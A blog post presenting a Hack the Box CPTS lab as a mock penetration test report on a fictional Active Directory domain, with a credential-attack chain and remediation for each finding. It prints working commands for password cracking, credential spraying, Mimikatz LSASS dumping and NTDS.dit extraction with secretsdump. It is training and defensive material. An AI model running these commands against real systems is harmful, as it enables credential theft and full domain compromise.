CPTS Journey Series – Password Attacks

I recently completed the “Password Attacks” module on the CPTS path on Hack the Box. Rather than a more “traditional” write-up, I decided to write this one in the context of a Penetration Test report.

Penetration Test Report

Password Attacks Skills Engagement — NEXURA.HTB Active Directory Environment


Table of Contents

  1. Executive Summary
  2. Scope & Environment
  3. Attack Chain Overview
  4. Detailed Findings
  5. Attack Vectors Attempted — No Result
  6. Credentials Recovered
  7. Recommendations
  8. Appendix — Tools Used

Executive Summary

A penetration test was conducted against the NEXURA.HTB Active Directory environment consisting of three internal Windows hosts (DC01, FILE01, JUMP01) and one Linux DMZ host. Beginning with initial SSH access to the DMZ host, the assessment achieved full domain compromise through an unbroken chain of credential exposure vulnerabilities.

The critical path to domain compromise required no exploitation of software vulnerabilities. Every step was achieved exclusively through credential mismanagement, plaintext secret exposure, and insecure administrative practices. The most impactful findings were:

  • Plaintext SSH credentials stored in .bash_history on a DMZ host
  • A password vault containing active domain user credentials stored in a world-readable SMB network share
  • A trivially weak vault master password cracked in seconds via dictionary attack
  • Plaintext credentials recoverable from LSASS memory on the domain jump box via Mimikatz
  • A Domain Administrator account (stom) whose password was present in the exposed vault

The engagement concluded with a full dump of NTDS.dit from DC01, yielding the NT hashes of every account in the NEXURA.HTB domain, including NEXURA\Administrator.

Overall Risk Rating: CRITICAL


Scope & Environment

In-Scope Hosts

HostnameIP AddressOSRole
DMZ0110.129.x.xLinuxDMZ Entry Point
JUMP01172.16.119.7Windows ServerInternal Jump Box
FILE01172.16.119.10Windows ServerInternal File Server
DC01172.16.119.11Windows ServerDomain Controller

Domain Information

FieldValue
Domain NameNEXURA.HTB
Domain ControllerDC01 (172.16.119.11)
Domain Users IdentifiedAdministrator, hwilliam, bdavid, stom, krbtgt, Guest
Domain AdminsAdministrator, stom

Open Ports of Note

HostPortService
DMZ0122SSH
JUMP01445, 5985SMB, WinRM
FILE01445, 3389, 5985SMB, RDP, WinRM
DC01445, 5985SMB (Signing Enabled), WinRM

Attack Chain Overview

[1] Initial Access — DMZ01
└─ SSH login via pre-provided credentials (jbetty)
│
▼
[2] F-001 — Bash History Credential Exposure — DMZ01
└─ Recovered plaintext domain credentials from .bash_history (sshpass command)
│
▼
[3] SMB Enumeration — FILE01 & DC01
└─ Authenticated to FILE01 (READ/WRITE: HR, PRIVATE, TRANSFER shares)
└─ Domain users enumerated from DC01: hwilliam, bdavid, stom, Administrator
│
▼
[4] F-002 / F-003 — Password Vault in HR Share
└─ FILE01\HR\Archive\Employee-Passwords_OLD.psafe3 discovered
└─ Vault master password cracked via John the Ripper (dictionary word)
└─ Three domain user credentials recovered from vault
│
▼
[5] F-004 — Credential Reuse — JUMP01
└─ Vault credentials valid on JUMP01 via WinRM (TCP/5985)
└─ Evil-WinRM shell obtained on JUMP01
│
▼
[6] LSASS Dump — JUMP01
└─ SAM hashes and DCC2 cached credentials dumped from LSASS
└─ [ATTEMPTED] Local admin Pass-the-Hash → FAILED
└─ [ATTEMPTED] Domain account Pass-the-Hash → FAILED
└─ [ATTEMPTED] DCC2 hash cracking → No result during engagement window
│
▼
[7] F-005 — Mimikatz Plaintext Credential Recovery — JUMP01
└─ sekurlsa::logonpasswords recovered Domain Admin plaintext password from LSASS
│
▼
[8] F-006 — DC01 Compromise & NTDS.dit Dump
└─ Evil-WinRM to DC01 as Domain Admin
└─ NTDS.dit extracted via Volume Shadow Copy
└─ impacket-secretsdump recovered all domain hashes
└─ NEXURA\Administrator NT hash obtained
└─ *** DOMAIN FULLY COMPROMISED ***

Detailed Findings


F-001: Credentials Exposed in Bash History

FieldDetail
SeverityHigh
CVSS 3.1 Score8.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
HostDMZ01
Location/home/<user>/.bash_history
Discovery MethodManual file review post SSH access

Description

The .bash_history file on DMZ01 contained a previously executed sshpass command with domain credentials embedded directly in the command line:

sshpass -p "[REDACTED]" ssh hwilliam@file01

This is a common consequence of using credential-embedding tools such as sshpass in interactive shell sessions. Any process or user with read access to the home directory can recover these credentials trivially without any special tooling.

Impact

The recovered credentials provided authenticated SMB access to both FILE01 and DC01, and served as the initial foothold into the internal domain environment, directly enabling all subsequent findings.

Evidence

[Source]
DMZ01:/home/<user>/.bash_history
  → sshpass -p "[REDACTED]" ssh hwilliam@file01

[Validation]
crackmapexec smb 172.16.119.10 -u hwilliam -p [REDACTED]
  → SMB  172.16.119.10  445  FILE01  [+] NEXURA\hwilliam (authenticated)
crackmapexec smb 172.16.119.11 -u hwilliam -p [REDACTED]
  → SMB  172.16.119.11  445  DC01    [+] NEXURA\hwilliam (authenticated)

Remediation

  1. Never pass credentials as command-line arguments. Use SSH key-based authentication for host-to-host connections.
  2. Configure shell history to suppress credential-bearing commands: HISTIGNORE='sshpass*:*password*'
  3. Implement a secrets management solution (e.g., HashiCorp Vault) for service-to-service authentication.
  4. Audit all .bash_history files across DMZ and perimeter hosts for credential exposure.
  5. Rotate the affected user’s credentials immediately.

F-002: Sensitive Password Vault in Accessible Network Share

FieldDetail
SeverityCritical
CVSS 3.1 Score9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
HostFILE01 (172.16.119.10)
Location\\FILE01\HR\Archive\Employee-Passwords_OLD.psafe3
Discovery MethodSMB share enumeration and recursive file listing

Description

The HR SMB network share on FILE01 was accessible to all authenticated domain users with READ and WRITE permissions. Within the Archive subdirectory, a Password Safe v3 (.psafe3) vault file was discovered. This file contained valid, active plaintext credentials for multiple domain accounts once its master password was cracked (see F-003).

The share permissions were excessively permissive. Any domain user authenticated via SMB could download the vault file without any additional authorisation or auditing controls.

Observed Share Permissions

ShareAccess Level
HRREAD, WRITE
PRIVATEREAD, WRITE
TRANSFERREAD, WRITE
ITNO ACCESS
MANAGEMENTNO ACCESS
ADMIN$NO ACCESS
C$NO ACCESS

Impact

The vault file yielded valid plaintext passwords for three active domain accounts. One of those accounts (stom) was a Domain Administrator. This single finding was the root cause of the domain compromise.

Evidence

# Share enumeration
crackmapexec smb 172.16.119.10 -u hwilliam -p [REDACTED] --shares
  → HR         READ, WRITE
  → PRIVATE    READ, WRITE
  → TRANSFER   READ, WRITE
# Vault file discovery and download
smbclient //172.16.119.10/HR -U 'hwilliam%[REDACTED]' \
  -c 'recurse ON; prompt OFF; mget *'
  → Downloaded: HR/Archive/Employee-Passwords_OLD.psafe3

Remediation

  1. Remove all password vault files from shared network storage immediately.
  2. Apply the principle of least privilege to all SMB shares. The HR share should not be accessible to every domain user.
  3. Implement and review SMB share access auditing to detect unauthorised access.
  4. Deploy an enterprise password manager (e.g., CyberArk, Bitwarden Business) rather than file-based vaults on shared infrastructure.
  5. Rotate all credentials contained within the recovered vault file.

F-003: Weak Password Vault Master Password

FieldDetail
SeverityHigh
CVSS 3.1 Score7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
HostFILE01 — vault file origin
Tool UsedJohn the Ripper — dictionary attack
Wordlistrockyou.txt
Time to CrackSeconds

Description

The Password Safe v3 vault recovered from the HR share was protected with a single dictionary word as its master password. This password is present in the rockyou.txt wordlist and was cracked near-instantly using John the Ripper.

Password Safe v3 uses PBKDF2-SHA256 with configurable iterations to protect the master key. Despite this cryptographic protection, a weak dictionary password rendered the entire vault trivially accessible to any attacker with the vault file.

Evidence

# Extract hash from vault file
pwsafe2john Employee-Passwords_OLD.psafe3 > vault.hash
# Dictionary attack
john vault.hash --wordlist=/usr/share/wordlists/rockyou.txt
# Result: Master password cracked (dictionary word)

Remediation

  1. Enforce a minimum master password length of 16 characters with mixed case, numbers, and symbols for all password vaults.
  2. A single dictionary word provides effectively zero resistance against offline dictionary attacks regardless of the underlying cryptographic algorithm.
  3. Consider enforcing organisation-wide passphrase complexity policies for all credential storage tools.

F-004: Credential Reuse Across Domain Accounts

FieldDetail
SeverityHigh
CVSS 3.1 Score8.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N)
HostJUMP01 (172.16.119.7)
ProtocolWinRM (TCP/5985)
ToolEvil-WinRM

Description

Credentials recovered from the password vault were tested against all in-scope hosts via SMB and WinRM. The account bdavid was found to have valid WinRM access to JUMP01, providing an interactive PowerShell session on the internal jump box.

The vault file was labelled _OLD, suggesting it was intended as an archive. However, all recovered passwords were current and valid Active Directory credentials at the time of the engagement, indicating no password rotation had occurred since the vault was archived.

Evidence

# Credential spray across all hosts
crackmapexec winrm 172.16.119.7 -u bdavid -p [REDACTED]
  → WINRM  172.16.119.7  5985  JUMP01  [+] NEXURA\bdavid (Pwn3d!)
# Evil-WinRM shell
proxychains evil-winrm -i 172.16.119.7 -u bdavid -p [REDACTED]
  → Evil-WinRM shell v3.3
  → *Evil-WinRM* PS C:\Users\bdavid\Documents>

Remediation

  1. Implement and enforce a password rotation policy. Archived vault credentials should have been rotated immediately upon archival.
  2. Enforce unique passwords across all systems using a managed privileged access workstation (PAW) model.
  3. Restrict WinRM access to administrative accounts only via Windows Firewall and WinRM Group Policy.
  4. Deploy credential hygiene monitoring to detect password reuse across accounts.

F-005: Plaintext Credentials Recoverable via Mimikatz on JUMP01

FieldDetail
SeverityCritical
CVSS 3.1 Score9.1 (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N)
HostJUMP01 (172.16.119.7)
ToolMimikatz — sekurlsa::logonpasswords
PrerequisiteLocal Administrator access on JUMP01

Description

With local administrator access on JUMP01 (obtained via bdavid‘s WinRM session), Mimikatz was executed to enumerate credentials cached in LSASS memory. The sekurlsa::logonpasswords module recovered the plaintext password of stom, a Domain Administrator account, from LSASS memory.

Windows caches credentials in LSASS to support features such as network share access, RDP, and single sign-on. On systems where WDigest authentication is enabled (or where credentials have been entered interactively), plaintext passwords are retained in memory and can be extracted by any process with SeDebugPrivilege.

JUMP01’s role as a jump box made this especially impactful — privileged users regularly authenticate through it to reach other internal systems, making LSASS a high-value credential cache.

Evidence

mimikatz # privilege::debug
  → Privilege '20' OK

mimikatz # sekurlsa::logonpasswords
  → Authentication Id : [...]
  → Session           : Interactive from 0
  → User Name         : stom
  → Domain            : NEXURA
  → Logon Server      : DC01
  → SID               : [...]
  → msv :
     [00000003] Primary
     * Username : stom
     * Domain   : NEXURA
     * NTLM     : [REDACTED]
     * SHA1     : [REDACTED]
  → wdigest :
     * Username : stom
     * Domain   : NEXURA
     * Password : [REDACTED]

Remediation

  1. Enable Credential Guard on all domain-joined workstations and servers to protect LSASS from credential dumping.
  2. Disable WDigest authentication via registry: HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential = 0
  3. Implement a tiered administration model — Domain Admin accounts should never authenticate to Tier 1 (member servers) or Tier 2 (workstations) systems.
  4. Deploy LSASS protection (RunAsPPL) to prevent unsigned code from accessing LSASS: HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL = 1
  5. Consider deploying a Privileged Access Workstation (PAW) for all Domain Admin activities.

F-006: Domain Admin Compromise & NTDS.dit Dump

FieldDetail
SeverityCritical
CVSS 3.1 Score10.0 (AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)
HostDC01 (172.16.119.11)
ToolEvil-WinRM, impacket-secretsdump
PrerequisiteDomain Admin credentials (stom)

Description

With Domain Admin credentials for stom recovered via Mimikatz (F-005), an Evil-WinRM session was established directly to DC01. The NTDS.dit Active Directory database was extracted using a Volume Shadow Copy, and impacket-secretsdump was used to recover all domain account NT hashes offline.

This represents complete domain compromise — every credential in the Active Directory environment was recovered, including the built-in NEXURA\Administrator account.

Evidence

# Domain Admin access to DC01
proxychains evil-winrm -i 172.16.119.11 -u stom -p [REDACTED]
  → Evil-WinRM shell on DC01
# NTDS.dit extraction via Volume Shadow Copy
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\tmp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\tmp\system
# Offline hash extraction
impacket-secretsdump -ntds ntds.dit -system system LOCAL
  → NEXURA\Administrator:[REDACTED_HASH]
  → NEXURA\stom:[REDACTED_HASH]
  → NEXURA\hwilliam:[REDACTED_HASH]
  → NEXURA\bdavid:[REDACTED_HASH]
  → [... all domain accounts ...]

Remediation

  1. Implement the full remediation chain from F-001 through F-005 — this finding is the culmination of every prior finding.
  2. Perform a full domain password reset for all user and service accounts.
  3. Reset the KRBTGT account password twice (with a 12-hour interval) to invalidate all Kerberos tickets.
  4. Audit all Domain Admin and privileged group memberships. Remove unnecessary accounts from Domain Admins.
  5. Implement tiered administration to prevent lateral movement from compromised workstations to domain controllers.
  6. Deploy domain controller hardening: restrict logon rights, enable Advanced Audit Policies, and monitor for DCSync/NTDS.dit access.

Attack Vectors Attempted — No Result

A-001: Local Administrator Pass-the-Hash

Target: JUMP01 (172.16.119.7)
Technique: Pass-the-Hash with local Administrator NTLM hash recovered from SAM dump
Result: FAILED — UAC FilterAdministratorToken policy blocked remote access with the local Administrator hash.

A-002: DCC2 Hash Cracking

Target: Cached domain credentials from JUMP01 LSASS dump
Technique: DCC2 (Domain Cached Credentials v2) hash cracking with Hashcat
Result: No passwords recovered during the engagement window. DCC2 hashes use 10,240 rounds of PBKDF2-HMAC-SHA1, making offline cracking significantly slower than standard NTLM.

A-003: Domain Account Pass-the-Hash via SMB/WinRM

Target: DC01, FILE01
Technique: Pass-the-Hash using domain account NTLM hashes recovered from the SAM dump
Result: FAILED — The recovered domain user hashes did not have administrative access on any remote host. SMB and WinRM connections were rejected with STATUS_ACCESS_DENIED.


Credentials Recovered

Note: All credential values have been redacted from this report. Full credential data was provided to the client via a separate secure channel.

AccountSourceScope
jbettyPre-provided (engagement start)DMZ01 SSH
hwilliam.bash_history on DMZ01FILE01, DC01 (SMB)
bdavidPassword vault (HR share)JUMP01 (WinRM)
stom (Domain Admin)Password vault + MimikatzDC01, full domain access
All domain accountsNTDS.dit dump from DC01Entire domain

Recommendations

Immediate Actions (0–48 Hours)

  1. Reset all domain passwords — every user and service account must be rotated.
  2. Reset KRBTGT twice with a 12-hour interval to invalidate Kerberos tickets.
  3. Remove the password vault from the HR share on FILE01.
  4. Revoke and rotate all credentials recovered during the engagement.
  5. Audit .bash_history on all DMZ and perimeter hosts; purge exposed credentials.

Short-Term (1–4 Weeks)

  1. Restrict SMB share permissions — apply least privilege to HR, PRIVATE, and TRANSFER shares.
  2. Disable WDigest authentication on all domain-joined systems.
  3. Enable LSASS protection (RunAsPPL) and Credential Guard across the estate.
  4. Restrict WinRM access to authorised administrative accounts only.
  5. Implement a tiered administration model — Domain Admins must not authenticate to member servers or workstations.

Medium-Term (1–3 Months)

  1. Deploy an enterprise password manager (e.g., CyberArk, Bitwarden Business) to replace file-based vaults.
  2. Implement Privileged Access Workstations (PAWs) for all administrative activities.
  3. Enable Advanced Audit Policies on domain controllers to detect credential dumping and DCSync.
  4. Deploy a secrets management solution (e.g., HashiCorp Vault) for service-to-service authentication.
  5. Enforce password complexity and rotation policies across all accounts.

Appendix — Tools Used

ToolPurpose
NetExecSMB/WinRM authentication spray & share enum
smbclientSMB share browsing and file download
Evil-WinRMWinRM interactive shell access
John the RipperPassword vault master password cracking
pwsafe2johnPassword Safe hash extraction
MimikatzLSASS credential dumping
impacket-secretsdumpNTDS.dit offline hash extraction
NmapPort scanning and service discovery
ProxychainsTraffic routing through pivot host

Comments

Leave a Reply

Your email address will not be published. Required fields are marked *